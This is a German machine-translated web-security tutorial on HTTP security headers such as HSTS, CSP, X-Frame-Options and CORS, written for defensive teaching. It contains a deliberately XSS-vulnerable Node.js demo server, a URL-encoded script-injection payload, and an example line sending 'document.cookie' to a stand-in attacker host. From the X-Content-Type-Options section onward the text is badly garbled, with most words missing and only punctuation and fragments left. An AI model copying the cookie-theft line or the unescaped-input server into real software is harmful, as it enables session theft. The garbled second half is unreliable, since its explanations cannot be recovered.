So stärken Sie die Sicherheit von Webanwendungen mit HTTP-Headern

Bild

Dies ist der dritte Teil der Web-Sicherheitsreihe: Der zweite Teil war " Web-Sicherheit: Eine Einführung in HTTP ", der erste "Funktionsweise von Browsern - Eine Einführung in die Sicherheit von Webanwendungen ".

Wie wir in den vorherigen Teilen dieser Serie gesehen haben, können Server HTTP-Header senden, um dem Client zusätzliche Metadaten in der Antwort bereitzustellen, zusätzlich zum Senden des vom Client angeforderten Inhalts. Clients können dann angeben, wie eine bestimmte Ressource gelesen, zwischengespeichert oder geschützt werden soll.

Browser haben jetzt eine Vielzahl von sicherheitsrelevanten Headern implementiert, um es Angreifern zu erschweren, Schwachstellen auszunutzen. In diesem Artikel werden wir versuchen, jeden von ihnen zu diskutieren und zu erklären, wie sie verwendet werden, welche Angriffe sie verhindern und einen kleinen Verlauf für jede Überschrift.

EDISON Software - Webentwicklung
Der Beitrag wurde mit Unterstützung von EDISON Software verfasst, die sich um die Ehre russischer Programmierer bemüht und ihre Erfahrungen bei der Entwicklung komplexer Softwareprodukte ausführlich teilt .

HTTP Strict Transport Security (HSTS)


Seit Ende 2012 ist es für HTTPS Everywhere-Unterstützer dank Strict Transport Security einfacher geworden, den Client dazu zu bringen, immer die sichere Version des HTTP-Protokolls zu verwenden: Die sehr einfache Zeile Strict-Transport-Security: max-age=3600 teilt dem Browser dies innerhalb der nächsten Stunde (3600 Sekunden) mit sollte nicht über unsichere Protokolle mit der Anwendung interagieren.

Wenn ein Benutzer versucht, über HTTP auf eine durch HSTS geschützte Anwendung zuzugreifen, weigert sich der Browser einfach, weiterzugehen, und konvertiert die http:// URLs automatisch in https:// .

Sie können dies lokal mit dem Code github.com/odino/wasec/tree/master/hsts überprüfen. Befolgen Sie die Anweisungen in README (einschließlich der Installation eines vertrauenswürdigen SSL-Zertifikats für localhost auf Ihrem Computer mit dem Tool mkcert ) und versuchen Sie dann, https://localhost:7889 öffnen.

In diesem Beispiel gibt es zwei Server: HTTPS, das 7889 , und HTTP, Port 7888 . Wenn Sie auf einen HTTPS-Server zugreifen, wird immer versucht, Sie zu einer HTTP-Version umzuleiten, die funktioniert, da HSTS auf dem HTTPS-Server nicht verfügbar ist. Wenn Sie stattdessen den Parameter hsts=on zu Ihrer URL hinzufügen, konvertiert der Browser den Link zwangsweise in die Version https:// . Da auf den Server unter 7888 nur über das http-Protokoll zugegriffen werden kann, wird am Ende eine Seite angezeigt, die ungefähr so ​​aussieht.

Bild

Möglicherweise möchten Sie wissen, was passiert, wenn ein Benutzer Ihre Website zum ersten Mal besucht, da die HSTS-Richtlinie nicht vordefiniert ist: Angreifer können den Benutzer möglicherweise in die http:// -Version Ihrer Website einbinden und dort einen Angriff ausführen, sodass weiterhin Probleme auftreten können . Dies ist ein ernstes Problem, da HSTS bei der ersten Verwendung ein Vertrauensmechanismus ist. Er versucht sicherzustellen, dass der Browser nach dem Besuch der Website weiß, dass HTTPS in nachfolgenden Interaktionen verwendet werden sollte.

Eine Problemumgehung hierfür könnte darin bestehen, eine riesige Datenbank mit Websites zu verwalten, die HSTS unterstützen, was Chrome über hstspreload.org tut . Sie müssen zuerst Ihre Richtlinie festlegen und dann die Website besuchen, um zu prüfen, ob sie der Datenbank hinzugefügt werden kann. Zum Beispiel können wir sehen, dass Facebook auf der Liste ist.

Bild

Wenn Sie Ihre Website an diese Liste senden, können Sie den Browsern im Voraus mitteilen, dass Ihre Website HSTS verwendet, sodass bereits die erste Interaktion zwischen Clients und Ihrem Server über einen sicheren Kanal erfolgt. Aber es ist teuer, da Sie wirklich an HSTS teilnehmen müssen. Wenn Sie aus irgendeinem Grund möchten, dass Ihre Website aus der Liste entfernt wird, ist dies für Browser-Anbieter keine leichte Aufgabe:
Beachten Sie, dass die Aufnahme in die Preload-Liste nicht einfach abgebrochen werden kann.

Domains können gelöscht werden, aber es dauert Monate, bis Chrome für Benutzer aktualisiert ist, und wir können keine Garantie für andere Browser übernehmen. Fordern Sie keine Aufnahme in die Liste an, wenn Sie nicht sicher sind, ob Sie HTTPS für Ihre gesamte Site und alle ihre Subdomains für längere Zeit unterstützen können.
- Quelle: https://hstspreload.org/
Dies liegt daran, dass der Anbieter nicht garantieren kann, dass alle Benutzer die neueste Version ihres Browsers verwenden und Ihre Website aus der Liste entfernt wird. Überlegen Sie sorgfältig und treffen Sie eine Entscheidung, die auf Ihrem Vertrauen in HSTS und Ihrer Fähigkeit basiert, es langfristig zu unterstützen.

HTTP Public Key Pinning (HPKP)


Das Anheften von öffentlichen HTTP-Schlüsseln ist ein Mechanismus, mit dem wir dem Browser mitteilen können, welche SSL-Zertifikate bei der Verbindung mit unseren Servern zu erwarten sind. Dieser Header verwendet den Vertrauensmechanismus bei der ersten Verwendung wie HSTS und bedeutet, dass nach der Verbindung des Clients mit unserem Server Zertifikatinformationen für nachfolgende Interaktionen gespeichert werden. Wenn der Client irgendwann feststellt, dass der Server ein anderes Zertifikat verwendet, weigert er sich höflich, eine Verbindung herzustellen, was es sehr schwierig macht, "Man in the Middle" -Angriffe (MITM) durchzuführen.

So sieht die HPKP-Richtlinie aus:

 Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect" 

Der Header gibt an, welche Zertifikate der Server mithilfe des Zertifikat-Hashs verwenden wird (in diesem Fall zwei davon), und enthält zusätzliche Informationen wie die Lebensdauer dieser Direktive ( max-age = 3600 ) und einige andere Details. Leider macht es keinen Sinn, tiefer zu graben, um zu verstehen, was wir mit der Sicherung des öffentlichen Schlüssels tun können, da Chrome diese Funktion nicht gutheißt - ein Signal dafür, dass ihre Einführung zum Scheitern verurteilt ist.

Die Lösung von Chrome ist nicht irrational, sondern nur eine Folge der Risiken, die mit der Sicherung des öffentlichen Schlüssels verbunden sind. Wenn Sie Ihr Zertifikat verlieren oder beim Testen einfach einen Fehler machen, ist Ihre Website für Benutzer, die die Website bereits besucht haben, nicht verfügbar (während der Gültigkeitsdauer der max-age Richtlinie, die normalerweise Wochen oder Monate beträgt).

Infolge dieser potenziell katastrophalen Folgen war die HPKP-Akzeptanz äußerst gering, und es gab Zeiten, in denen große Websites aufgrund von Fehlkonfigurationen nicht verfügbar waren . In Anbetracht all dieser Punkte entschied Chrome, dass Nutzer ohne den von HPKP gebotenen Schutz besser dran wären, und Sicherheitsforscher sind gegen diese Entscheidung nicht vollständig .

Expect-CT


Während HPKP dies ablehnte, schien ein neuer Header betrügerische SSL-Zertifikate für Clients zu verhindern: Expect-CT .

Der Zweck dieses Headers besteht darin, dem Browser mitzuteilen, dass zusätzliche „Hintergrundprüfungen“ durchgeführt werden müssen, um die Echtheit des Zertifikats zu überprüfen. Wenn der Server den Expect-CT Header verwendet, fordert er den Client grundsätzlich auf, zu überprüfen, ob sich die verwendeten Zertifikate in den Protokollen für offene Transparenzzertifikate befinden (CT).

Die Certificate Transparency Initiative ist das Bestreben von Google, Folgendes sicherzustellen:
Eine offene Plattform zur Überwachung und Prüfung von SSL-Zertifikaten nahezu in Echtzeit.

Insbesondere können Sie durch Zertifikatstransparenz SSL-Zertifikate erkennen, die fälschlicherweise von einer Zertifizierungsstelle ausgestellt oder böswillig von einer anderen fehlerfreien Zertifizierungsstelle bezogen wurden. Außerdem können Sie Zertifizierungsstellen identifizieren, die Betrug begangen haben und in böswilliger Absicht Zertifikate ausstellen.
- Quelle: https://www.certificate-transparency.org/
Der Header hat folgende Form:

 Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report" 

In diesem Beispiel fragt der Server den Browser:

  • Aktivieren Sie die CT-Prüfung für die aktuelle Anwendung für einen Zeitraum von 1 Stunde (3600 Sekunden).
  • enforce Erzwingen Sie diese Richtlinie und verweigern Sie im Falle eines Verstoßes den Zugriff auf die Anwendung
  • Senden Sie im Falle eines Verstoßes einen Bericht an die angegebene URL

Ziel der Initiative "Zertifikatstransparenz" ist es, fehlerhaft ausgestellte oder böswillige Zertifikate (und betrügerische Zertifizierungsstellen) früher, schneller und genauer als jede andere zuvor verwendete Methode zu erkennen.

Indem Sie die Verwendung des Expect-CT Headers aktivieren, können Sie diese Initiative ergreifen, um den Sicherheitsstatus Ihrer Anwendung zu verbessern.

X-Frame-Optionen


Stellen Sie sich vor, Sie sehen eine solche Webseite

Bild

Sobald Sie auf den Link klicken, verstehen Sie, dass das gesamte Geld auf Ihrem Bankkonto verschwunden ist. Was ist passiert?

Sie waren das Opfer eines Clickjacking-Angriffs.

Ein Angreifer hat Sie auf seine Website geleitet, auf der ein sehr attraktiver Klick-Link angezeigt wird. Leider hat er auch in die iframe-Seite mit your-bank.com/transfer?amount=-1&[attacker@gmail.com] eingebettet, diese jedoch your-bank.com/transfer?amount=-1&[attacker@gmail.com] , indem die Transparenz auf 0% gesetzt wurde. Wir dachten, wir hätten auf die Originalseite geklickt und versucht, einen völlig neuen Spieler zu gewinnen, aber stattdessen hat der Browser einen Klick auf den Iframe korrigiert, ein gefährlicher Klick, der die Überweisung von Geld bestätigte.

Die meisten Bankensysteme erfordern die Angabe einer einmaligen PIN zur Bestätigung von Transaktionen, aber Ihre Bank hat die Zeit nicht eingehalten und Ihr gesamtes Geld ging verloren.

Das Beispiel ist ziemlich extrem, aber es sollte Ihnen verständlich machen, welche Konsequenzen ein Angriff mit Clickjacking haben kann. Der Benutzer beabsichtigt, auf einen bestimmten Link zu klicken, während der Browser einen Klick auf die "unsichtbare" Seite verursacht, die als Rahmen eingebettet wurde.

Ich habe ein Beispiel für diese Sicherheitsanfälligkeit in github.com/odino/wasec/tree/master/clickjacking aufgenommen . Wenn Sie das Beispiel ausführen und versuchen, auf den „attraktiven“ Link zu klicken, werden Sie feststellen, dass der echte Klick vom Iframe abgefangen wird, wodurch er nicht transparent wird, sodass Sie das Problem leichter erkennen können. Ein Beispiel sollte unter http://localhost:7888 verfügbar sein.

Bild

Glücklicherweise haben Browser eine einfache Lösung für dieses Problem gefunden: X-Frame-Options (XFO), mit denen Sie entscheiden können, ob Ihre Anwendung als Iframes auf externen Websites eingebettet werden kann. XFO wurde von Internet Explorer 8 populär gemacht und erstmals 2009 eingeführt. Es wird weiterhin von allen gängigen Browsern unterstützt.

Dies funktioniert folgendermaßen: Wenn der Browser einen Iframe sieht, lädt er ihn und überprüft, ob sein XFO die Aufnahme in die aktuelle Seite ermöglicht, bevor er gerendert wird.

Bild

Unterstützte Werte:

  • DENY : Diese Webseite kann nirgendwo eingebettet werden. Dies ist das höchste Schutzniveau, da niemand unsere Inhalte einbetten kann.
  • SAMEORIGIN : Nur Seiten aus derselben Domäne wie die aktuelle können diese Seite einfügen. Dies bedeutet, dass example.com/embedder laden kann, wenn seine Richtlinie auf SAMEORIGIN . Dies ist eine ruhigere Richtlinie, mit der Eigentümer einer bestimmten Website ihre eigenen Seiten in ihre Anwendung einbetten können.
  • ALLOW-FROM uri : Anhang von der angegebenen URI zulässig. Wir könnten beispielsweise einer externen autorisierten Website erlauben, unsere Inhalte mithilfe von ALLOW-FROM https://external.com einzubetten. Dies wird normalerweise verwendet, wenn Sie Drittentwicklern erlauben möchten, Ihre Inhalte über einen Iframe einzubetten.

Eine Beispiel-HTTP-Antwort, die die strengstmögliche XFO-Richtlinie enthält, lautet wie folgt:

 HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ... 

Um zu demonstrieren, wie sich Browser beim Einschalten von XFO verhalten, können Sie einfach unsere Beispiel-URL in http://localhost:7888 /?xfo=on . Der Parameter xfo=on weist den Server an, X-Frame-Options: deny in die Antwort aufzunehmen, und wir können sehen, wie der Browser den Zugriff auf den Iframe einschränkt:

Bild

XFO wurde als der beste Weg angesehen, um klickbasierte Angriffe auf der Basis von Frames zu verhindern, bis nach einigen Jahren ein anderer Titel ins Spiel kam - Content Security Policy oder kurz CSP.

Inhaltssicherheitsrichtlinie (CSP)


Der Content-Security-Policy Header, abgekürzt CSP, bietet Dienstprogramme der nächsten Generation, um eine Vielzahl von Angriffen zu verhindern, von XSS (Cross-Site-Scripting) bis hin zum Abfangen von Klicks (Click-Jacking).

Um zu verstehen, wie CSP uns hilft, müssen Sie zunächst über einen Angriffsvektor nachdenken. Angenommen, wir haben gerade eine eigene Google-Suchmaschine erstellt, in der ein einfaches Eingabefeld mit einer Schaltfläche zum Senden vorhanden ist.

Bild

Diese Webanwendung macht nichts Magisches. Es ist einfach

  • zeigt Formular an
  • ermöglicht dem Benutzer die Suche
  • Zeigt Suchergebnisse zusammen mit dem vom Benutzer gesuchten Schlüsselwort an

Wenn wir eine einfache Suche durchführen, gibt die Anwendung Folgendes zurück:

Bild

Erstaunlich Unsere Anwendung hat unsere Suche unglaublich verstanden und ein ähnliches Bild gefunden. Wenn wir uns mit dem Quellcode befassen , der unter github.com/odino/wasec/tree/master/xss verfügbar ist, werden wir bald feststellen, dass die Anwendung ein Sicherheitsproblem darstellt, da jedes Schlüsselwort, nach dem ein Benutzer sucht, direkt in HTML gedruckt wird:

 var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html> 

Dies ist eine unangenehme Folge. Ein Angreifer kann einen bestimmten Link erstellen, der im Browser des Opfers beliebiges JavaScript ausführt.

Bild

Wenn Sie Zeit und Geduld haben, um das Beispiel lokal auszuführen, können Sie schnell die volle Leistungsfähigkeit von CSP verstehen. Ich habe einen Abfragezeichenfolgenparameter hinzugefügt, der CSP enthält, damit wir versuchen können, zu einer schädlichen URL mit aktiviertem CSP zu wechseln:
localhost : 7888 /? search =% 3Cscript + type% 3D 3D% 22text% 2Fjavascript% 22% 3Ealert% 28% 27You% 20have% 20been% 20PWNED% 27% 29% 3C% 2Fscript% 3E & csp = on
Bild

Wie Sie im obigen Beispiel sehen, haben wir dem Browser mitgeteilt, dass unsere CSP-Richtlinie nur Skripts zulässt, die aus derselben Quelle der aktuellen URL stammen. Dies können wir leicht überprüfen, indem wir mit curl auf die URL zugreifen und den Antwortheader betrachten:

 $ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive 

Da der XSS-Angriff mit einem eingebetteten Skript (einem direkt in den HTML-Inhalt eingebetteten Skript) ausgeführt wurde, lehnte der Browser die Ausführung höflich ab, um die Sicherheit unserer Benutzer zu gewährleisten. Stellen Sie sich vor, ein Angreifer würde nicht nur ein Warndialogfeld anzeigen, sondern eine Umleitung zu seiner eigenen Domain über einen JavaScript-Code einrichten, der folgendermaßen aussehen könnte:

 window.location = `attacker.com/${document.cookie}` 

Sie könnten alle Benutzer-Cookies stehlen, die sehr vertrauliche Daten enthalten können (mehr dazu im nächsten Artikel).

Inzwischen sollte klar sein, wie CSP uns hilft, eine Reihe von Angriffen auf Webanwendungen zu verhindern. Sie definieren eine Richtlinie, und der Browser hält sich strikt daran und weigert sich, Ressourcen auszuführen, die gegen die Richtlinie verstoßen.

Eine interessante Option für CSP ist der Nur-Bericht-Modus. Anstatt den Header " Content-Security-Policy , können Sie zunächst die Auswirkungen von CSP auf Ihre Site überprüfen, indem Sie den Browser anweisen, einfach Fehler zu melden, ohne die Skriptausführung usw. zu blockieren. Verwenden Sie den Header " Content-Security-Policy-Report-Only .

Mithilfe der Berichte können Sie nachvollziehen, welche kritischen Änderungen durch die CSP-Richtlinie verursacht werden können, die Sie bereitstellen möchten, und diese entsprechend korrigieren. Wir können sogar die Berichts-URL angeben und der Browser sendet uns den Bericht. Hier ist ein vollständiges Beispiel für eine Nur-Bericht-Richtlinie:

 Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector 

CSP-Richtlinien selbst können beispielsweise im folgenden Beispiel etwas kompliziert sein:

 Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com 

Diese Richtlinie definiert die folgenden Regeln:

  • Ausführbare Skripte (z. B. JavaScript) können nur von scripts.example.com heruntergeladen scripts.example.com
  • Bilder können von jeder Quelle heruntergeladen werden ( img-src: * )
  • Video- oder Audioinhalte können aus zwei Quellen heruntergeladen werden: medias.example.com und medias.legacy.example.com

Wie Sie sehen, kann es viele Politiker geben, und wenn wir unseren Nutzern maximalen Schutz bieten wollen, kann dies ein ziemlich langwieriger Prozess sein. Das Schreiben einer umfassenden CSP-Richtlinie ist jedoch ein wichtiger Schritt, um unseren Webanwendungen eine zusätzliche Sicherheitsebene hinzuzufügen.

Für weitere Informationen zu CSP würde ich developer.mozilla.org/en-US/docs/Web/HTTP/CSP empfehlen.

X-XSS-Schutz


Obwohl der X-XSS-Protection Header durch CSP ersetzt wurde, bietet er dieselbe Art von Schutz. Dieser Header wird verwendet, um XSS-Angriffe in älteren Browsern abzuwehren, die CSP nicht vollständig unterstützen. Dieser Header wird von Firefox nicht unterstützt.

Die Syntax ist sehr ähnlich zu dem, was wir gerade gesehen haben:

 X-XSS-Protection: 1; report=http://xssviolations.example.com/collector 

Reflektiertes XSS ist die häufigste Art von Angriff, wenn der eingegebene Text vom Server ohne Überprüfung gedruckt wird, und hier wird dieser Header wirklich gelöst. Wenn Sie es selbst sehen möchten, würde ich empfehlen, das Beispiel unter github.com/odino/wasec/tree/master/xss xss=on , da durch Hinzufügen von xss=on zur URL angezeigt wird, was der Browser tut, wenn der XSS-Schutz aktiviert ist . Wenn wir eine böswillige Zeichenfolge in das Suchfeld eingeben, z. B., weigert sich der Browser höflich, das Skript auszuführen, und erklärt den Grund für seine Entscheidung:

 The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior. 

Noch interessanter ist das Standardverhalten in Chrome, wenn auf einer Webseite keine CSP- oder XSS-Richtlinie angegeben ist. Ein Skript, das wir testen können, indem wir den Parameter xss=off zu unserer URL hinzufügen ( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off ):

Bild

Überraschenderweise ist Chrome vorsichtig genug, um das Rendern von Seiten zu verhindern, was es schwierig macht, gespiegeltes XSS zu erstellen. Beeindruckend, wie weit Browser gegangen sind.

Funktionsrichtlinie


Im Juli 2018 veröffentlichte der Sicherheitsforscher Scott Helm einen sehr interessanten Blog-Beitrag mit der neuen Sicherheitsüberschrift: Feature-Policy .

Dieser Header wird derzeit von sehr wenigen Browsern (Chrome und Safari zum Zeitpunkt des Schreibens) unterstützt und ermöglicht es uns festzustellen, ob eine bestimmte Browserfunktion auf der aktuellen Seite aktiviert ist. Mit einer CSP-ähnlichen Syntax sollten wir kein Problem damit haben, zu verstehen, was Funktionsrichtlinien bedeuten, wie zum Beispiel die folgenden:

 Feature-Policy: vibrate 'self'; push *; camera 'none' 

Wenn wir alle Zweifel haben, wie sich diese Richtlinie auf die Browser-API auswirkt, können wir sie einfach analysieren:

  • vibrate 'self' : Ermöglicht der aktuellen Seite, die Vibrations-API und einen beliebigen Frame auf der aktuellen Site zu verwenden.
  • push * : Die aktuelle Seite und jeder Frame können die Push-Benachrichtigungs-API verwenden
  • camera 'none' : Der Zugriff auf die Kamera-API wird auf dieser Seite und allen Frames verweigert

Feature-Richtlinien haben eine kleine Geschichte. Wenn Ihre Site es Benutzern beispielsweise ermöglicht, Selfies aufzunehmen oder Audio aufzunehmen, ist es sehr nützlich, eine Richtlinie zu verwenden, die den Zugriff auf die API über Ihre Seite in anderen Kontexten einschränkt.

X-Content-Type-Optionen


Manchmal schaden uns intelligente Browserfunktionen in Bezug auf die Sicherheit. Ein Paradebeispiel ist MIME-Sniffing, eine im Internet Explorer beliebte Technik.

MIME- — ( ) . , /awesome-picture.png , (, Content-Type: text/plain ). , .

, IE , MIME-: «» , , , Content-Type , , , , .

-, , , /test.jpg , JavaScript. , ? , HTML , , «», . , , , .

, X-Content-Type-Options: nosniff , MIME-: , , , . , , , .

Cross-Origin Resource Sharing (CORS)


JavaScript HTTP- . , AJAX- example.com example.com .

, — cookie, . , win-a-hummer.com , AJAX your-bank.com . - , HTTP- , , , .

AJAX , Cross Origin Resource Sharing (CORS), , .

, CORS, , , «» CORS.

, , , Access-Control-Allow-Origin , , .

Access-Control-Allow-Origin: * , , , URL-, , Access-Control-Allow-Origin: https://example.com .

github.com/odino/wasec/tree/master/cors , , . , AJAX test-cors test-cors-2 . test-cors-2 CORS, , . http://cors-test:7888/?cors=on

Bild

cors URL, :

Bild

, , , , . , , . , , , my-bank.com/transfer?amount=1000&from=me&to=attacker. !

, GET - , , POST -? , , , http://cors-test:7888/?method=POST :

Bild

POST , , « ». , OPTIONS , . , , POST .

:

  • CORS — . , , , .
  • API, GET . , .

, -, , , CORS. , , example.com , example.com/_proxy/other.com , , _proxy/other.com/* , other.com .

, , CORS, MDN , developer.mozilla.org/en-US/docs/Web/HTTP/CORS .

X-Permitted-Cross-Domain-Policies


CORS, X-Permitted-Cross-Domain-Policies Adobe ( , Flash Acrobat).

, , . , Adobe crossdomain.xml , , X-Permitted-Cross-Domain-Policies .

? X-Permitted-Cross-Domain-Policies: none , Flash.

Referrer-Policy


, , . Referer , . URL , .

, , . , . Referer . , , .

Referrer-Policy , 2017 , , , URL- Referer .

, Referrer-Policy :

  • no-referrer : Referer
  • origin : https://example.com/private-page https://example.com/
  • same-origin : Referer ,

, Referred-Policy ( strict-origin , no-referrer-when-downgrade . .), , , , . , , OWASP .

Origin Referer , , , . Origin , . -: Origin , .

, HTTP-, cURL, : c url -H "Origin: example.com" api.example.com origin …… Origin ( Referer , ) .


securityheaders.com , -, , - , . , URL, . facebook.com :

Bild

, , securityheaders.com — , .

HTTP : cookie


HTTP, , - , .

HTTP: .

, - HTTP , , , ( ) -: - , , « ». , cookie , .

Source: https://habr.com/ru/post/de434228/


All Articles